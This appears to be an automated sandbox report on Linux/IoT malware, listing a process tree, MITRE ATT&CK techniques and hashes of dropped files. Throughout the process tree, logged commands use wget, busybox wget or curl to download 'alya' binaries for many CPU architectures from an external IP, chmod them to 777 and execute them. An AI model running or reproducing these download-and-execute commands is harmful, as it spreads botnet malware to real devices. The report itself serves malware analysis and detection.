  PID:992
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:993
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:995
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:996
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:997
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:999
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1001
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1004
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1008
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1014
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1017
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mipsel
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1019
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1020
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1023
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1024
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sparc
  2⤵
  PID:1025
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1026
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1027
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1028
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1029
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1030
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1031
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1032
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1034
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1035
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sparc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1036
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1037
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1038
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1040
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1041
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv5l
  2⤵
  PID:1042
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1043
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1044
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1045
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1046
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1047
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1048
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1049
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1050
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1051
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv5l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1052
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1053
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1054
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1055
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1056
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i486
  2⤵
  PID:1057
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1058
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1059
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1060
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1061
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1062
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1063
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1064
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1066
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1067
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i486
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1068
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1069
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1070
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1072
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1073
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.m68k
  2⤵
  PID:1074
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1075
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1076
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1077
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1078
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1079
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1080
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1081
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1083
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1084
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1085
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1086
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1087
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1089
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1090
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.powerpc
  2⤵
  PID:1091
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1092
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1093
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1094
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1095
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1096
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1099
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1100
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1102
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1103
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.powerpc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1104
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1105
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1106
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1108
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1109
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.x86_64
  2⤵
  PID:1110
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1111
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1112
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1113
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1114
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1115
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1116
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1117
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1119
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1120
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1121
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1122
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1123
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1125

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alya.arc

Path /tmp/alya.arc
Size 89KB
SHA256 46c2213079848ee09d843de65a67b63ab061f3002fcf70e63e5d9c6a974fc69c
MD5 16ef618bf21a3322c6793be87d553f08
SHA1 18eee478866d0829560ed0c11c4f6e1faa5dffbc
SHA512 90b24fcee9f09d8f6fd3496303a176e4747e6437e075abd633a6b5fe1d522688e776166fc5749ce840923ada8d82b72ecc40bf9a341e187a9183d7bea6f03040
SSDEEP 1536:W/MlrduOjiw2kDji1tVudPvivfb3Ugz/LWeX:W6jqkDjGvu9vivz3Ugzqe
TLSH
T1E9936ACBF60B9992CC1146F04BC75B9E3E172221DE1398F33C1E6A76447A1DB990A7D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

stat

Path /tmp/stat
Size 246B
SHA256 49e237a8a6ee29660c2554a4270a7672b32b2c92ba0efd002b3ef84880361c64
MD5 79cd21b37ff4989ba0e006149f703a07
SHA1 aa34770a0d1181e36e49ce58691803d2ba373c27
SHA512 0aac0e2d229367dc568ad2050626fd2b7ba2f141c61cb465257c0281ebbcbf79bbe007cb3dc201a5598444e0e69a28f7ade4269fbc92dead4dbc3435a538079d
TLSH
T183D05EA850E4A8ADE78EC2260A0201024B2FB070B96022BC3F8C0AB22917417DECBC24
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 246B
SHA256 aba19c7326d947cc9aec8b4c8f07a8bb814781f52f5bdd1b5d3430982809478f
MD5 143e262d61093fcbabf688fcad04d4b6
SHA1 d96ef78fd46256743f056cd7bc17548f50d3e3af
SHA512 fd89e80b34ff67bfbe4d3fe17df46fedb880ef2fcbca57784a7df8c2e38c88592406e8dae9f12465122622355d36c69fd5e347e0448fa144d0b3571d63e1ed94
TLSH
T13CD05EA850E4A8ADE78EC2260A0201024B2FB070796022BC3F8C1AB22917417DECBC24
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 246B
SHA256 328849f1009e16625366ba49616ef7e7b68bda2ec27288f55bf0f7a30ae11a78
MD5 130256b42417db7eed488734478a2085
SHA1 f1fc0961bf44935a7283ed5d451cccfcfe871aec
SHA512 bc1ee734639a21df0e8bf92df3f50a598515da2ea977d3ab895a8d30de897cd38916af47ada419613733ee824f6440d67b223ea75acabcdee812f72f9eeb332c
TLSH
T1BED05B9451D4A86DE38EC21606010101472EB071755115BC3F8C45712917417DEC7C24
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 27B
SHA256 2990d579124ede7ab71246aa546dd9e127e25f5f6081dd7818e4ce4b5393ea4e
MD5 74a07507e5d5df866c7a5c9f356ee8d0
SHA1 2b8793d68d2559d5c638e8ed7d1776a06efd5d53
SHA512 5726c1a44b1df20659403f79ec22686cc6bd5c86874b319f8f5a308cb37d818989f40db155724877f7a213590d934344d83ceee0616bbb9b93246ac9db07a89b
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 973B
SHA256 830eb139ac13b401ce85fb2c699aa331aa7b6832d576c8ad936f933fcecd73b7
MD5 e18df0d993786b31d5a4348a788dafd7
SHA1 e1d93ab3c7d772e09997ef37daf52d8582a6ff02
SHA512 794321f43f23b0d575c47c95fceff33d062156d348b71bf774bfce7ec16cfc7a92dc5b7e1e28b400e4f7e985f78eec605a6d2b08b449cc569546ca3c6fc64ddf
TLSH
T1271155208FD7BC98CABE834C156AF4116070F22978D16531704EC8BCBB3325FAB888D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 973B
SHA256 9555e6a23edbb233580c67ac76cf99e2d998b11932d4469fb18b463887551a0a
MD5 4b734d993160610e5d3e1a007d3fc255
SHA1 59975daf7f07ba1677526fc55afb060a4d843e77
SHA512 2c42270a61f5c91aa64df033ac6ac9e2712dbd7c8f2bd0c89f960d9963d12a3293f0638b0ec451c732a7d72f1cf04d60c02b146a712747eecc679e4b2f827bc9
TLSH
T11A1155208FD7BC98CABE8348156AF4056070F22D78D16531704EC8BCBB3325FAB888D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 973B
SHA256 75dfbdc23ece0256dea40a0b47f24d282cbd28e235d98157b499e6e7d3ffb1e2
MD5 9f0d9379f002a7167a56d48fb63214c6
SHA1 1101357fd0b5d64565fc0c0dca585a80b424b93e
SHA512 30a12032372fa7d9c4635ab2a9a69d0cce5b4d32b770a0cea82e6afe406e0aa7c81c59fff6a96762249a1c2c9eb4e48260fec17095c21b669977e6c96a1d8339
TLSH
T1481155608FD7BC98CABE8348156AF4016070F22978D16531704EC9BCBB3325FAB88CD4
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /usr/bin/wget
Size 47KB
SHA256 46ea1152f9440941eaa494d865097516584cbb9637e8cc234d5e4f9b5dddcee2
MD5 76021af2d82cade790dd87d3af0f80c9
SHA1 a76ac307020ec367f372994cc93ab6d16e52bf6e
SHA512 1d4a80e848ecf7608a691813da9ae978346b04671c3edaf7fdab81c1a64e15ad4b43bed944934fd9e7b82be891204805e7e58662e9596fae30088fb2fb4b3126
SSDEEP 768:ZvfmtcLl9Vm/FsezQrHl1eCoMYuN3+ACFUpzKlVXiwXRrvHI:ZfmtcQNOzpYuFwez2lRrvH
TLSH
T165234C94FAC19A13C5D41577BA2E829C371303BCE2ED73039D2A9F60379B8260E7B555
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads